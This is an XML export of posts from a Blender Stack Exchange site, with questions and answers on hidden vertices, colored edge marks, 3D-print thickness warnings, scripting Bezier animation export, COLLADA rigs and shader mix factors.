  <row Id="10576" PostTypeId="1" AcceptedAnswerId="10578" CreationDate="2014-05-21T13:04:43.273" Score="10" ViewCount="3298" Body="&lt;p&gt;I have append a mesh (rex) from this .blend &lt;a href=&quot;http://www.blendswap.com/blends/view/53204&quot; rel=&quot;noreferrer&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit Mode I see different vertices from objcet mode (see pictures).&#xA;The vertices of belt are missing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OBJECT MODE&lt;/strong&gt;: &lt;img src=&quot;https://i.stack.imgur.com/hJvRx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT MODE&lt;/strong&gt;: &lt;img src=&quot;https://i.stack.imgur.com/8TMTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I edit vertices of belt?&#xA;Is It a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my .blend &lt;a href=&quot;https://drive.google.com/file/d/0B4XYZc3e-o2QSHUzNDJfV1IxN2s/edit?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;file&lt;/a&gt; maybe can help.&lt;/p&gt;&#xA;" OwnerUserId="3566" LastEditorUserId="241" LastEditDate="2018-02-01T14:38:28.183" LastActivityDate="2018-02-01T14:38:28.183" Title="Missing vertices in Edit Mode" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10577" PostTypeId="2" ParentId="10560" CreationDate="2014-05-21T13:16:00.203" Score="6" Body="&lt;p&gt;This is a bit tricky, since the value range of the normal vector is &lt;code&gt;(-1, 1)&lt;/code&gt;. But you appears to control it by object rotation, which circle range is from 0° to 360°. It doesn't make any sense to add drivers between them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;Mapping&lt;/strong&gt; node to control the &lt;strong&gt;Normal&lt;/strong&gt; vector output, driven by the object rotation (in degrees or radians). However, Blender internally uses &lt;strong&gt;Radians&lt;/strong&gt; instead of &lt;strong&gt;Degrees&lt;/strong&gt;, that's why you'll see the driver value shows in both radian and degree system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you need to do some radian calculation for the driver expression. In this case, on the newly added &lt;strong&gt;Normal&lt;/strong&gt; node (with the &quot;control ball&quot;  UNTOUCHED), you need to add/subtract a half circle for it, which equals &lt;code&gt;pi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LgKCF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/4738/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=4738&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2018-04-03T08:34:01.713" LastActivityDate="2018-04-03T08:34:01.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10578" PostTypeId="2" ParentId="10576" CreationDate="2014-05-21T13:19:02.903" Score="11" Body="&lt;p&gt;In edit mode press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to unhide the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertices were hidden by pressing &lt;kbd&gt;H&lt;/kbd&gt; in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-05-21T13:19:02.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10579" PostTypeId="1" CreationDate="2014-05-21T13:33:08.417" Score="2" ViewCount="1565" Body="&lt;p&gt;Using 2.70a on Windows7. Got a nice Ultimaker 3D printer to play with &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing my mesh of a cartoon character to print on the Ultimaker. Blenders 3D print toolbox mesh analysis looks really useful. I've watched the BF video course and that's excellent too. (Thanks Dolf!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that the 'Thickness' overlay mysteriously colours isolated faces with red/green/etc to warn me they are too thin to print (e.g. less than 2mm) but many of these faces have lots of depth behind them, so this really doesn't make sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stranger, I've seen tubular parts being given just one face with a colour warning, but the directly opposite side of that mesh remains uncoloured. Surely thickness is the distance between opposite faces, so these warning colours must go on opposing pairs of faces, right? How can only one show as a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've experimented with a simple cube by sliding just the top-front edge backwards (creating a wedge) until colour warnings appear on any faces. I find that the warning first appears only on the bottom face. As the edge advances towards the rear the bottom deepens in colour until the rear face triggers a warning too. Then later the sloped front face gets its own warning colour. For the life of me I can't work out its logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Understanding this tool's logic is important because the mesh edits we need to carry out to solve these thinness problems are governed by how it thinks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA,&#xA;Slim&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2014-05-21T14:06:28.087" Title="3D print tools: how can &quot;too thin&quot; warning be only on 1 face?" Tags="&lt;3d-printing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10580" PostTypeId="1" AcceptedAnswerId="10582" CreationDate="2014-05-21T13:57:34.667" Score="12" ViewCount="27641" Body="&lt;p&gt;There are red and pink edges on my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do these colored edges mean? How can I use them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dD0YCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3566" LastEditorUserId="78972" LastEditDate="2020-05-06T20:14:44.440" LastActivityDate="2020-05-06T21:02:02.440" Title="What are the colored/highlighted edges in edit mode?" Tags="&lt;mesh&gt;&lt;vertex-groups&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="10581" PostTypeId="2" ParentId="10579" CreationDate="2014-05-21T14:06:28.087" Score="1" Body="&lt;p&gt;The thickness measurement uses ray-casting to find faces which are close together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to consider is the thickness is measured along the direction the face is pointing, so in some cases you could have shapes which give different results with wrinkled vs smooth surfaces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, increase the number of samples for a higher quality result.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-21T14:06:28.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10582" PostTypeId="2" ParentId="10580" CreationDate="2014-05-21T14:07:46.297" Score="22" Body="&lt;p&gt;Those edges have been marked.&lt;br&gt;&#xA;There are actually five types of markings you can apply to edges:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Red&lt;/strong&gt; - UV Seam&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blue&lt;/strong&gt; - Bevel Weight&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Purple&lt;/strong&gt; - Edge Crease&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cyan&lt;/strong&gt; - Sharp Edge &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - Freestyle Edge&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can mark edges yourself from Edit Mode using the &lt;em&gt;Edge&lt;/em&gt; menu (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rnFTk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rnFTk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Colors in Blender 2.79:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Red&lt;/em&gt; - UV seam&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Orange&lt;/em&gt; - Bevel weight&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Pink&lt;/em&gt; - Edge crease&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Blue&lt;/em&gt; - Sharp edge&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Green&lt;/em&gt; - Freestyle edge&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="836" LastEditorUserId="78972" LastEditDate="2020-05-06T21:02:02.440" LastActivityDate="2020-05-06T21:02:02.440" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10583" PostTypeId="1" CreationDate="2014-05-21T14:19:25.763" Score="0" ViewCount="783" Body="&lt;p&gt;I am trying to export a Bezier curve I have animated.&#xA;This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getBezierPathNode(doc, frames, obj):&#xA;    node = doc.createElement(&quot;vertices&quot;)    &#xA;&#xA;    for i in range(len(bpy.data.objects[obj].data.splines[0].bezier_points)):&#xA;        vertex = doc.createElement(&quot;vertex&quot;)&#xA;        vertex.setAttribute(&quot;id&quot;, str(i+1))&#xA;        attenuation = doc.createElement(&quot;attenuation&quot;)&#xA;        attenuation.appendChild(doc.createTextNode(str(0.5)))&#xA;        vertex.appendChild(attenuation)&#xA;&#xA;        for fn, f in enumerate(frames):&#xA;            bpy.context.scene.frame_set(f)&#xA;            o = bpy.data.objects[obj]&#xA;            points = o.data.splines[0].bezier_points&#xA;            point = points[i]&#xA;            print((f,point.co))&#xA;            frame = doc.createElement(&quot;frame&quot;)&#xA;            frame.setAttribute(&quot;num&quot;, str(fn))&#xA;            setPoint(o, frame, &quot;&quot;, point.co)&#xA;            setPoint(o, frame, &quot;a&quot;, point.handle_right)&#xA;            if i &amp;lt; len(points)-1:&#xA;                setPoint(o, frame, &quot;b&quot;, points[i+1].handle_left)&#xA;            else:&#xA;                setPoint(o, frame, &quot;b&quot;, point.co)&#xA;            vertex.appendChild(frame)&#xA;&#xA;            node.appendChild(vertex)&#xA;&#xA;    node.setAttribute(&quot;num&quot;, str(len(points)))&#xA;    node.setAttribute(&quot;frames&quot;, str(len(frames)))&#xA;    return node&#xA;&#xA;def getFrames():&#xA;    frames = []&#xA;&#xA;    for action in bpy.data.actions:&#xA;        for fcurve in action.fcurves:&#xA;            for k in fcurve.keyframe_points:&#xA;                fr = k.co[0]&#xA;                frames.append(fr)&#xA;&#xA;    frames = list(set(frames))&#xA;    frames.sort()&#xA;    return frames&#xA;&#xA;frames = getFrames()&#xA;doc = Document()&#xA;for obj in bpy.data.objects:&#xA;    if obj.type == 'CURVE':&#xA;        node.appendChild(getBezierPathNode(doc, frames, obj.name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs the following data (in the print statement):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(10.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(20.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(30.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(40.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(100.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(0.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(10.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(20.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(30.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(40.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(100.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(0.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(10.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(20.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(30.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(40.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(100.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(0.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(10.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(20.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(30.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(40.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(100.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(0.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(10.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(20.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(30.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(40.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(100.0, Vector((-2.7375922203063965, 1.0250422954559326, 0.0)))&#xA;(0.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(10.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(20.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(30.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(40.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(100.0, Vector((-2.364258289337158, 0.9919000864028931, 0.0)))&#xA;(0.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(10.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(20.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(30.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(40.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(100.0, Vector((-2.0551865100860596, 4.03302001953125, 0.0)))&#xA;(0.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(10.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(20.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(30.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(40.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;(100.0, Vector((-1.7511816024780273, 4.02277135848999, 0.0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No animations has taken place!&#xA;Does anyone know how to make this work correctly?&#xA;The Bezier curves are animated in the 3D view when I change the keyframe with frame_set&lt;/p&gt;&#xA;" OwnerUserId="3568" LastActivityDate="2014-09-20T16:15:18.917" Title="Export Bezier curve animation" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10584" PostTypeId="1" CreationDate="2014-05-21T14:38:20.893" Score="1" ViewCount="362" Body="&lt;p&gt;I remember, in Dope Sheet, using Shift while dragging keyframes (I always use G) to be more precise. With 2.7, that doesn't work. I tried with 2.66... and it neither! Tried 2.57... and neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong and this function never existed... or there was a version that supported it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I don't want to move to decimal frames (eg: 24.534). As commented, I want to move keyframes in a zoomed-out-view and be precise when dropping them.&lt;/p&gt;&#xA;" OwnerUserId="3496" LastEditorUserId="3496" LastEditDate="2014-05-23T16:15:31.357" LastActivityDate="2014-09-20T19:15:18.913" Title="Does keyframe slow move exist?" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10586" PostTypeId="2" ParentId="10584" CreationDate="2014-05-21T15:33:10.763" Score="2" Body="&lt;p&gt;When the new animation system was added, Auto Snap was enabled by default in the Dope Sheet and Graph Editor. It uses the nearest frame for snapping. You can change this behavior using a the Auto Snap dropdown menu in the header (it's in both the Dope Sheet and the Graph Editor). You can disable Auto Snap altogether by setting that dropdown to &quot;No Auto-Snap&quot;.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-05-21T15:33:10.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10587" PostTypeId="1" AcceptedAnswerId="10591" CreationDate="2014-05-21T15:53:03.667" Score="1" ViewCount="248" Body="&lt;p&gt;I'm modelling a run-of-the-river power station which involves modelling several canals and intakes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;besides right now I'm trying to put some retention walls in a terrain in a way like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uKlbM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, at one side of the wall the terrain has some altitude, and in the other side, a different one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has come to be a little troublesome because I think using boolean modifiers (to produce the intersections) is a little messy and tricky in Blender, and I don't need a watertight or non-manifold model (I'm not running any simulations over it) I just want it to look right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking, that if I think of the terrain as a sheet of paper, I would make cuts and displace up and down one part of the paper, and place a &quot;wall&quot; in between the cuts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a clean equivalent to this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="12805" LastEditDate="2016-01-29T07:16:29.183" LastActivityDate="2016-01-29T07:16:29.183" Title="Walls - Terrain modelling interactions" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10588" PostTypeId="1" CreationDate="2014-05-20T18:14:18.883" Score="6" ViewCount="5091" Body="&lt;p&gt;I have a 530 MB .ply mesh file that I am trying to import into a Blender project. However since the file is so large, Blender freezes up whenever I try to import it. Is there a way to work around this? Has anyone else tried importing extremely large files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Edit: The file represents a single mesh - it just has a very high triangle/polygon count. It also didn't come from a different program - I downloaded the file already created from online. So I can't break it up into separate files.&lt;/p&gt;&#xA;" OwnerDisplayName="user1855952" LastEditorUserId="3571" LastEditDate="2014-05-21T23:08:39.400" LastActivityDate="2017-09-18T02:58:11.363" Title="Import large model file into Blender" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;file-format&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10589" PostTypeId="2" ParentId="10520" CreationDate="2014-05-21T16:49:43.393" Score="1" Body="&lt;p&gt;It has no &lt;code&gt;execute()&lt;/code&gt; method, but the default operator context is &lt;code&gt;EXEC_DEFAULT&lt;/code&gt;. You need to use &lt;code&gt;INVOKE_DEFAULT&lt;/code&gt; to make it call &lt;code&gt;invoke()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't work as expected: &lt;code&gt;cursor&lt;/code&gt; stands for the user mouse, not the 3D Cursor, and it will thus only extrude correctly if you make the following code an operator and run it in &lt;em&gt;3D View&lt;/em&gt; context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area&#xA;        ctx['region'] = area.regions[-1]&#xA;        ctx['space_data'] = area.spaces.active&#xA;        bpy.ops.mesh.dupli_extrude_cursor(ctx, 'INVOKE_DEFAULT', rotate_source=True)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you run it from the &lt;em&gt;PyConsole&lt;/em&gt; or &lt;em&gt;Text Editor&lt;/em&gt; instead, it will extrude to a point outside the viewport (towards where the mouse is on screen).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-21T16:49:43.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10591" PostTypeId="2" ParentId="10587" CreationDate="2014-05-21T17:28:31.850" Score="1" Body="&lt;p&gt;Like many (most?) things in Blender there are multiple solutions to any problem, and this challenge is no different. The decision on which method to use will largely depend upon underlying geometry, you need, what you plan to use the project for, what future use you might want to make of the geometry later, and at what stage you are at in the development of the project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've actually modeled bits of terrain where I was modeling actual parts of the US. The technique I like best so far is to start with a &quot;circle&quot; with four vertices, subdivide the edges, so that there is one vertex at each point where a contour line crosses the edge. I then extrude from vertices (or sometimes pairs of vertices, looking elevation to the vertices on the opposite edge. Then I fill the faces. In this method, the retaining wall poses no particular issue; the land above is at one elevation, the land below is at another. Depending upon the nature and construction of the retaining wall, I would either construct it as part of the terrain, or model it later with another object. Whether or not I would merge the retaining wall with the terrain would depend upon a number of factors. I can easily imagine instances where I might combine the retaining wall into the same object as the terrain, but generally would keep it separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive uploaded a simplified explanation of my general workflow &lt;a href=&quot;https://www.dropbox.com/s/l5xllng5pqveqh7/BlenderTerrainModeling.html/&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;, along with a &lt;a href=&quot;https://www.dropbox.com/s/aagfnqcfgxel7mr/terrainmodeling.blend&quot; rel=&quot;nofollow&quot;&gt;~.blend&lt;/a&gt; file that illustrates the various steps. The first step is illustrated in layer 2, the second in layer 3, &amp;amp;c. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my workflow, I would be unlikely to use a boolean modifier on the terrain, because the workflow I use would simply bypass any places where I would a boolean modifier. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-05-23T07:59:34.783" LastActivityDate="2014-05-23T07:59:34.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10592" PostTypeId="1" AcceptedAnswerId="10621" CreationDate="2014-05-21T18:24:11.027" Score="1" ViewCount="4962" Body="&lt;p&gt;I'm trying to rig and animate a character for use in an OpenGL-based program. I found a simple character model on &lt;a href=&quot;http://tf3dm.com/3d-model/blaze-89789.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TF3DM&lt;/a&gt; and rigged him by following the excellent character &lt;a href=&quot;http://www.blenderguru.com/videos/introduction-to-rigging/&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigging tutorial&lt;/a&gt; from BlenderGuru. I can export the animation to the COLLADA format and load that file into my software. Most of the animation comes through, except for a few small details like the bending of his toes. His toes seem to be stuck in their initial state, with his left foot flat and his right foot bent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here his right foot is bent properly while his left foot remains flat:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XAgzT.png&quot; alt=&quot;Right foot correctly bent, left foot flat&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, his right foot is still bent. The leg has moved properly, but the foot hasn't bent like it should have:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sgX7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior happens in more than one program, including when I export as COLLADA then import it back into Blender. With a simpler model (an elongated cube with only two bones), it exports just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Here's a screenshot of the model when I export from Blender, open a new scene, and import the model. Some of the bones are tiny. Not sure why:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uQaot.png&quot; alt=&quot;Tiny bones&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound like a problem with the COLLADA exporter? Or is it more likely to be a problem with my rig? (Would it be helpful to upload my .blend/.dae file somehow?)&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="1170" LastEditDate="2014-05-21T18:44:03.217" LastActivityDate="2014-05-22T16:56:35.983" Title="COLLADA export doesn't preserve animation for all bones" Tags="&lt;export&gt;&lt;collada&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10593" PostTypeId="1" AcceptedAnswerId="10594" CreationDate="2014-05-21T20:32:47.760" Score="7" ViewCount="5031" Body="&lt;p&gt;Does deleting the cache files in the &lt;em&gt;USER&lt;/em&gt; directory hurt anything?&lt;br&gt;&#xA;The user directory where the cache in question is:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;{username}\AppData\Roaming\Blender Foundation\Blender\2.70\cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also is cycles what is generating this cache?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-07-23T14:42:16.223" LastActivityDate="2016-07-23T14:42:16.223" Title="Is it safe to delete the cache?" Tags="&lt;path&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="2" ParentId="10593" CreationDate="2014-05-21T20:38:10.320" Score="7" Body="&lt;p&gt;Yes, cycles caches BVH (&lt;a href=&quot;http://en.wikipedia.org/wiki/Bounding_volume_hierarchy&quot; rel=&quot;noreferrer&quot;&gt;Bounding Volume Hierarchy&lt;/a&gt;) files in there when &lt;em&gt;Cache BVH&lt;/em&gt; is enabled in &lt;em&gt;Render settings &gt; Performance&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTrc1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting them shouldn't do anything bad. Cycles will just regenerate these files (though it won't cache them if you disable &lt;em&gt;Cache BVH&lt;/em&gt;), which might cause an increase in render times, depending on the complexity of your scene.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-21T20:43:47.757" LastActivityDate="2014-05-21T20:43:47.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="1" AcceptedAnswerId="10596" CreationDate="2014-05-21T20:47:51.653" Score="8" ViewCount="716" Body="&lt;p&gt;If I mix two shaders together, like the diffuse and glossy shaders, I understand that I can change the factor slider between 0 - 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0JLB.png&quot; alt=&quot;diffuse and glossy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that having 0.5 factor will show a 50% mix of blue diffuse and green glossy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0lTN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What isn't clear to me is what is going on when something else is plugged into the fac input, if I plug in a checker texture for example, with white and black as its two color values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7AVwg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This now clearly seperates the two shaders based on the checker texture, I understand its doing that but how does it get away with not just supplying 0 - 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9Vh4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am only allowed to supply 0 - 1 using the slider, what is the checker doing to the factor that I can't do with my slider? Can you explain what can be plugged in to the fac input and how it differs from the user control slider.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-05-21T21:23:27.373" Title="How does fac differ with manual control versus node control?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
